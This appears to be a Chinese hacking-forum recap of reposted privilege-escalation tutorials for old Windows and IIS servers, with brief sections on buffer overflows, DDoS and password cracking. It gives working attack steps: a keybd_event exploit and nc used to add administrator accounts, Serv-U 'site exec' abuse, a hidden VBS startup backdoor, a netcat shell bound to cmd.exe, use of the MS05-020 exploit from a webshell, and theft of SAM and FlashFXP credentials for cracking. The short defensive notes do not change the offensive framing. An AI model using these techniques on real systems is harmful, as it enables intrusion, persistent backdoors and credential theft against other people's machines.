安全之门第九期直播栏目内容回顾
1、实例介绍
[转载]溢出键盘程序漏洞 得到管理员权限
没有任何一台电脑是安全的,没有一条安全防线是无法攻破的。我们要做的就是利用一切资源进行入侵。在这里你可以看到最激动人心的入侵实录,可以学到最实用的入侵技巧。这里是所有入侵爱好者的乐园。但是记住哟,入侵是为了更好地防御。网络安全需要我们大家来维护。
通过“鼠洞”控制你的电脑
夜黑风高,一个黑色的身影窜入了一间电脑机房。熟练地打开了一台保存有重要数据的电脑。可是这个电脑里面的数据已经进行了加密,要获得这些数据必须是管理员账户才行。黑影不屑地笑了笑,利用一个已知的普通权限账户进入系统。在Microsoft Windows键盘事件权限提升漏洞的“帮助”下,轻松获得管理员权限盗得数据。随后离开机房,身影隐入无边黑暗中。
发现新漏洞
因为设计缺陷,Windows桌面应用程序处理通过keybd_event() function函数发送的键盘事件时存在溢出错误,攻击者可以通过向以更高权限运行的桌面应用程序(如explorer.exe)发送恶意的键盘事件,使用管理员权限执行任意代码。这一漏洞可以使一个普通用户权限的账户使用管理员权限对系统进行任意操作。该漏洞影响的系统:Windows 2000,Windows XP,Windows2003。
准备好入侵工具
pulist:一款进程PID查看器,可以在命令提示符下查看当前系统进程的PID值。
keybd:键盘事件权限提升漏洞的溢出工具,通过它可以取得系统管理员权限。
nc:黑客入侵的“瑞士军刀”,系统端口监听利器,功能相当强大。
以上工具下载地址
http://www.eviloctal.com/forum/read....age=1&toread=1
入侵过程
一、获得进程PID值
根据漏洞特点,我们需要获取一个桌面应用程序(如explorer.exe)的进程PID值。在系统的“任务管理器”中,我们是看不到进程的PID值的,所以我们需要借助一款可以查看系统进程PID值的小工具——pulist。在“命令提示符”中运行“pulist.exe”,即可显示当前系统进程的PID值,我们在其中找到“explorer.exe”进程的PID,这里是“1716”(如图)。
[attachment=3091]
小知识:进程的PID值指的是代表各进程的ID值。PID就是对各进程的身份标志,每个进程都有自己唯一的PID值。
二、提升账户权限
信息收集完毕,我们使用一个名为“888”的普通用户权限账户进行漏洞测试。我们运行“命令提示符”,输入“runas /user:888 cmd.exe”这个命令的意思是以用户“888”的权限运行一个命令提示符窗口,回车后系统会出现一个新的命令提示符窗口,其窗口标题为“cmd.exe(运行为888)”。这个命令提示符中我们的权限只是普通用户级别的,很多操作不能进行,例如添加删除用户等。当试图用该账户进行用户的添加删除操作时将会出现错误。
将下载回来的漏洞利用程序keybd解压到某个目录中,例如“c:\”。此外我们还要用到远程监听工具nc,将它与keybd放在同一目录中。在命令提示符中进入keybd所在的文件夹,输入命令 “keybd.exe 1716”。回车,这时系统会跳出一个新的命令提示符窗口,表示keybd.exe已经溢出成功。
小提示:溢出时要保证系统的默认输入法为“英文”,否则将会使溢出失败。
溢出成功后,就该nc出马了。在命令提示符中进入nc所在的目录,然后输入“nc -vv localhost 65535”,回车后便出现了欢迎界面。这表示888账户已经获得管理员权限。我们接着输入“net user piao 123456 /add”新建一个账户名为piao,密码为123456的用户。然后输入“net localgroup administrators piao /add”,将账户piao加入系统的管理员组。这两个只有管理员权限才可以执行的命令都可以成功完成,入侵成功。
小提示:我们获取的管理员权限依赖于执行“keybd.exe”后弹出的命令提示符窗口,如果把这个弹出的命令提示符窗口关闭,以888账户运行的命令提示符会立刻回到普通用户权限,所以在执行命令的时候一定不可以将之关闭。
危害虽小,仍须防范
由于该漏洞是因为本地系统设计上的缺陷造成的,所以只能用于本地用户的权限提升,而且必须是本地登录的用户。但是不管漏洞如何之小,存在肯定会对系统造成严重的安全隐患,我们还是要修复漏洞,以防别有用心之人。
要利用漏洞就需要使用到“命令提示符”,我们可以通过限制“命令提示符”的运行权限使攻击者无从下手。首先在资源管理器中点击“工具”按钮,选择“文件夹选项”,切换到“查看”标签,去掉“使用简单文件共享(推荐)”前面的钩,这一步是为了让文件的属性菜单中显示“安全”标签。然后我们进入“c:\windows\system32\”,找到“cmd.exe”,点右键选择“属性”,切换到“安全”标签,将其中“组或用户名称”中除了管理员外的所有用户都删除,完成后点“确定”,这样当普通用户想运行“命令提示符”的时候将会出现“拒绝访问”的警告框。
[转载]有什么可以利用的来提升权限
****************************************************************************
第一
如果服务器上有装了pcanywhere服务端,管理员为了管理方便
也给了我们方便,到系统盘的Documents and Settings/All Us
ers/Application Data/Symantec/pcAnywhere/中下载*.cif本地
破解就使用pcanywhere连接就ok了
****************************************************************************
第二
有很多小黑问我这么把webshell的iis user权限提升
一般服务器的管理都是本机设计完毕然后上传到空间里,
那么就会用到ftp,服务器使用最多的就是servu
那么我们就利用servu来提升权限
通过servu提升权限需要servu安装目录可写~
好开始把,首先通过webshell访问servu安装文件夹下的ServUDaemon.ini把他下载
下来,然后在本机上安装一个servu把ServUDaemon.ini放到本地安装文件夹下覆盖,
启动servu添加了一个用户,设置为系统管理员,目录C:\,具有可执行权限
然后去servu安装目录里把ServUDaemon.ini更换服务器上的。
用我新建的用户和密码连接~
好的,还是连上了
ftp
ftp>open ip
Connected to ip.
220 Serv-U FTP Server v5.0.0.4 for WinSock ready...
User (ip:(none)): id //刚才添加的用户
331 User name okay, please send complete E-mail address as password.
Password:password //密码
230 User logged in, proceed.
ftp> cd winnt //进入win2k的winnt目录
250 Directory changed to /WINNT
ftp>cd system32 //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user rover rover1234 /add //利用系统的net.exe
文件加用户。
如果提示没有权限,那我们就
把后门(server.exe) 传他system32目录
然后写一个VBs教本
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user user pass /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators user /add",0)
b=wshshell.run ("cmd.exe /c server.exe",0)
存为xx.vbe
这个教本的作用是建立user用户密码为pass
并且提升为管理员
然后执行system32目录下的server.exe
把这个教本传他 C:\Documents and Settings\All Users\「开始」菜单\程序\启动
目录
这样管理员只要一登陆就会执行那个教本.
接下来就是等了.等他登陆.
****************************************************************************
第三
就是先检查有什么系统服务,或者随系统启动自动启动的程序和管理员经常使用的软件, 比如诺顿,VAdministrator,金山,瑞星,WinRAR甚至QQ之类的,是否可以写,如果可以就修改其程序, 绑定一个批处理或者VBS,然后还是等待服务器重启。
****************************************************************************
第四
查找conn和config ,pass这类型的文件看能否得到sa或者mysql的相关密码,可能会有所
收获等等。
****************************************************************************
第五
使用Flashfxp也能提升权限,但是成功率就看你自己的运气了
首先找到FlashFXP文件夹,打开(编辑)Sites. dat,这个文件这是什么东西密码和用户名,
而且密码是加了密的。 如果我把这些文件copy回本地也就是我的计算机中,替换我本地的相应文件。然后会发现 打开flashfxp在站点中打开站点管理器一样。又可以添加N多肉鸡啦~~嘻嘻~
唔??不对啊,是来提升权限的啊,晕,接着来别半途而废。
大家看看对方管理员的这站点管理器,有用户名和密码,密码是星号的。经过用xp星号密码 查看器查看,然后和Sites.dat中加密了密码做比较发现并未加密而是查到的密码是明文显示, 然后最终把这个网站管理员的密码从这堆东西中找
出来。那么下一步就可以链接这些新的服务器啦~~
经过测试只要把含有密码和用户名的Sites.dat文件替换到本地相应的文件就可以在本地
还原对方管理员的各个站点的密码。
****************************************************************************
第六
WIN2K+IIS5.0默认情况下应用程序保护选项是"中(共用的)",这时IIS加载isapi是用的
iwam_computername用户身份执行。
但默认情况下WIN2K+IIS5对于一些特殊isapi又要以system身份加载。win2k+iis5 、
win2k+iis5+sp1、win2k+iis5+sp2都是简单的判断isapi的文件名,并且没有做目录限制,
以SYSTEM权限加载的isapi有:
1、 idq.dll
2、 httpext.dll
3、 httpodbc.dll
4、 ssinc.dll
5、 msw3prt.dll
6、 author.dll
7、 admin.dll
8、 shtml.dll
9、 sspifilt.dll
10、compfilt.dll
11、pwsdata.dll
12、md5filt.dll
13、fpexedll.dll
所以利用这很容易得到SYSTEM权限。并且判断文件名的时候有个bug,比如请求/scripts/test%81%5cssinc.dll也将会认为是请求的ssinc.dll,就是分离文件路径的时候没有考虑到双字节的 远东版问题。ssinc.dll在处理包含文件路径的时候也有一个问题,就是"/"、"\"只识别了一个 "/",所以如果请求里面使用"\",就会错误的处理包含文件路径,有可能泄露东西或者出现权限 漏洞,这种漏洞很多别的地方( php、asp等)也还存在。
加载这些isapi不是单以文件名做依据了,而是加了路径,应该是修正了此问题。
一般默认情况下是:
1、 idq.dll d:\winnt\system32\idq.dll
2、 httpext.dll d:\winnt\system32\inetsrv\httpext.dll
3、 httpodbc.dll d:\winnt\system32\inetsrv\httpodbc.dll
4、 ssinc.dll d:\winnt\system32\inrtsrv\ssinc.dll
5、 msw3prt.dll d:\winnt\system32\msw3prt.dll
6、 author.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_aut\author.dll
7、 admin.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_adm\admin.dll
8、 shtml.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\shtml.dll
9、 sspifilt.dll d:\winnt\system32\inetsrv\sspifilt.dll
10、compfilt.dll d:\winnt\system32\inetsrv\compfilt.dll
11、pwsdata.dll d:\winnt\system32\inetsrv\pwsdata.dll
12、md5filt.dll d:\winnt\system32\inetsrv\md5filt.dll
13、fpexedll.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\bin\fpexedll.dll
正常情况下这些路径都guest不能写,但如果配置不好,这些路径iis user能够写了就一样可以提升权限了
可以把ISAPIHack.dll上传到IIS的可执行目录,文件名可叫ssinc.dll或者admin.dll等(上面列的13个文件名之一)。
然后等待IIS重启加载此dll,就可以获得权限了
****************************************************************************
第七
下载系统的 %windir%\repair\sam.*(WinNT 4下是sam._ 而Windows 2000下是sam)文件,
然后用L0pht等软件进行破解,只要能拿到,肯花时间,就一定可以破解。
****************************************************************************
第八
PipeUpAdmin(Windows 2000下), 在本机运行可以把当前用户帐号加入管理员组。普通用户和Guests组用户都可以成功运行。
****************************************************************************
第九
Serv-u Ftp Server 本地权限提升漏洞:
很多主机的C:\Documents and Settings\All Users\ Documents目录以及下边几个子目录Documents没有设置权限,导致可以在这个目录上传并运行Exp. 直接上传了serv-u local exploit 和nc, 并且把serv-u的本地提升权限的名字命名为su.exe 文件就放在C:\Documents and Settings\All Users\ Documents, 然后我们用su.exe直接建立用户,也可以反弹一个shell过来的。
具体命令:
建立用户: serv-u.exe "cmd"
>USER xl
>PASS 111111
反弹shell: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
很
的提权新方法今天我要带给大家的是,当我们得到WEBSHELL后如何得到SYSTEM权限的新方法, 提升权限这个已经是老生常谈了,网络上已经有很多种提升权限的方法了,在这里我就不在提了,今天我给大家介绍的是就是主动利用MS05020漏洞来达到我们提升权限的目的。
MS05020是一个IE漏洞,2005.4份的时候微软就发步了这个公告:
安全漏洞CN-VA05-025
发布日期:2005-04-13
漏洞类型:远程执行代码
漏洞评估:高危
受影响版本:
Microsoft Windows 2000 Service Pack 3 和 Microsoft Windows 2000 Service Pack 4
Microsoft Windows XP Service Pack 1 和 Microsoft Windows XP Service Pack 2
Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
Microsoft Windows Server 2003
Microsoft Windows Server 2003(用于基于 Itanium 的系统)Microsoft Windows 98、Microsoft Windows 98 Second Edition (SE) 和 Microsoft Windows Millennium Edition (ME) 测试过的 Microsoft Windows 组件:
漏洞描述:
Internet Explorer 由于其处理某些 DHTML 对象的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站,此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理某些 URL 的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站,此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理分级审查文件的方法而存在一个远程执行代码漏洞。 攻击者可以通过构造特制的分级审查文件来利用此漏洞。 如果用户访问了恶意网站或查看了恶意的电子邮件,并接受安装此恶意分级审查文件,则该文件可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。 不过,要利用此漏洞,需要进行大量用户交互。
大家看到上面的漏洞描述了吗?当被人浏览的时候才会受到攻击,平时我们利用IE漏洞都是先把有攻击性的页面放到网上,然后等待别人去浏览,这样浏览者就会中招了。
今天我们要提升权限,那自然是让我们要提升权限的主机去浏览存在漏洞的页面了,那当我们得到WEBSHELL后怎么才能让主机去浏览这个页面呢?
Ms05020的EXP网页代码已经出来了,大家可以到:
http://www.eviloctal.com/forum/read.php?tid=10127
去下载,假如我们已经把这个EXP放到http://www.xxxx.com/ms05020.html的地方,
下面我们开始利用这个EXP,进入到我们的ASP木马,打开CMDSHELL,如果用不了的,大家自己想办法解决(可以自己上传一个CMD.EXE上去)。
在命令行里输入:start http://www.xxxx.com/ms05020.html 然后点执行。
这个时候主机的IE就会去访问我们的这个MS05020.HTML,那么如果主机没有打扑钉的话,就会绑定一个28876的断口在主机上。
接着我们输入:netstat -an | find "28876" 看看是否成功绑定,第一次的话,会慢一些,大家要等待一下,我这里很快就成功了。然后我们telnet上去马上就成功了
大家看到了:(我添加了一个temp的管理员)
现在我们已经拿到SYSTEM权限了 ,大家还想干什么不可以?
后记:其实大家还可以先上传NC,然后连接到本地后,再输入:
start http://www.xxx.com/ms05020.html也是可以的。
还有就是如果可以的话还可以这样输入:
start "C:\Program Files\Internet Explorer\icxplore.exe" http://www.xxx.com/ms05020.htm
这个要看你的情况了,一般虚拟主机如果允许访问的话,那还是用第一个命令好了!
我测试过在2K pro、 2K server(2000 Enterprise Terminal Server) 、2003都成功过!不过也有不成功的时候,而且不成功的概率很大,特别是到虚拟机的时候,有一次我没有成功,然后我开了3389进入,发现IE没有弹出来,而是出来了一个IE设置向导,也就是说这个服务器没有对IE进行网络设置IE是无法访问网络的,艾,其实我现在也没有搞清楚是怎么会事有点能成功有点不行,想也想不通,因为start ist:http://www.xxx.com/xxx.exe总是能成功!
把XXX。EXE下载到它的电脑上面!我最后认为估计这个还是和MS05020.HTM这个文件有关。艾,看来这个方法的利用价值也很小了,本来不想发出来了的,既然写出来了,还是发表出来一下吧!刚刚和无敌讨论了一下,他也是说不成功的原因估计也是这个,还有就是系统打了IE补丁。
2、攻击技术介绍
缓冲区溢出
缓冲区是计算机内存中的临时保存区域,它通常是由需要使用缓冲区的程序按照特定的大小来创建的。
缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root的shell,但不一直是这样的。为了达到这个目的,攻击者必须达到如下的两个目标:
在程序的地址空间里安排适当的代码。
通过适当地初始化寄存器和存储器,让程序跳转到我们安排的地址空间执行。
对网络服务器进行缓冲区溢出攻击可以引起数据丢失或损坏,也可以引起程序或服务器崩溃。这种攻击的最大的危险在于:如果缓冲区溢出引起数据覆盖了一个内存的相邻连接区,而这个相邻内存连接区又是计算机指令堆栈的一部分的话,那么恶意用户就可能利用这一部分的指令做出危险的行为。因为,如果恶意用户知道一台服务器上的缓冲区溢出漏洞,他们就可以生成段数据,这样,因溢出而进入指令推栈中的那部分数据实际上包含了对计算机的新指令。这些指令可以按与当前运行的程序(包含了缓冲区溢出漏洞的程序)一样的安全优先级别被执行,恶意用户就可以使用这种方式为自己提供了对这台计算机完全的访问控制权。
因此,在编写代码的时候要对缓冲区大小有非常明确的限制,并且要对输入缓冲区的数据大小有严格的限制。
拒绝服务攻击
DoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。
DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高它的效果是明显的。随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DoS攻击的困难程度加大了 - 目标对恶意攻击包的"消化能力"加强了不少,例如你的攻击软件每秒钟可以发送3,000个攻击包,但我的主机与网络带宽每秒钟可以处理10,000个攻击包,这样一来攻击就不会产生什么效果。
这时侯分布式的拒绝服务攻击手段(DDoS)就应运而生了。你理解了DoS攻击的话,它的原理就很简单。如果说计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用的话,攻击者使用10台攻击机同时攻击呢?用100台呢?DDoS就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。
高速广泛连接的网络给大家带来了方便,也为DDoS攻击创造了极为有利的条件。在低速网络时代时,黑客占领攻击用的傀儡机时,总是会优先考虑离目标网络距离近的机器,因为经过路由器的跳数少,效果好。而现在电信骨干节点之间的连接都是以G为级别的,大城市之间更可以达到2.5G的连接,这使得攻击可以从更远的地方或者其他城市发起,攻击者的傀儡机位置可以在分布在更大的范围,选择起来更灵活了。
被DDoS攻击时的现象:
被攻击主机上有大量等待的TCP连接
网络中充斥着大量的无用的数据包,源地址为假
制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯
利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的服务请求,使受害主机无法及时处理所有正常请求
严重时会造成系统死机
[转载]口令入侵系统的方法
口令入侵法 。要入侵系统,首先阻碍我们的将是网络管理员的第一 道安全防线-合法的用户名与口令,它决定乐你在 该网站的权限,所以口令入法可以说是黑客的基础。
对于一个刚开始学习HACK的网友这篇文章可能会让 你大有所进。 当我们要试着解密之前我们得先来了解一下加密的 过程,兼于加密方法的种类之多,我们就讲一下标 准的UNIX加密技术,但关于DES加密技术的材料很少,这主要是IBM应美国国家安全局的要求把某些文档定的为了国家机密文档,而UNIX下的一个加密程序Crypt(3) 却广泛的流传,甚至它的源代码随处可得,它的加密 过程如下:
1】以明码正文形式取出口令。
2】把口令作为关键词,用一系列的“0”进行敝屏加密。
3】把一个64位二进制值转变成以56位为变量基础的唯一的64位二进制值作为关键字再加密。
兼于CRYPT(3)的加密随机性之大,56位关键字的存在可能 性超过7×10E16种,所以想要逆向解码是不可能的(如用 奔腾II的计算速度可能要1185年零7月,如果那位网友成功的 话请马上通知我,去申请诺贝尔奖。〕 但是否真的无解了呢?错! 我们可以用比较法,其方法如下:
1】获得一个字典文件,它是一个单词表。
2】把这些单词用用户的加密程序进行加密,(符合DES标准〕。
3】把每个单词加密后的结果与目标加密后的结果进行比较 如果匹配,则该单词就是加密关键字。
现在已经有了一些程序能帮助我们完成上面的工作,使解密 变的由其简单,而我们要作的就是把加密后的口令文件抓回来。 这类软件常用的有 Carck Jack14 Joun 你可以到网上找到。
3、工具推荐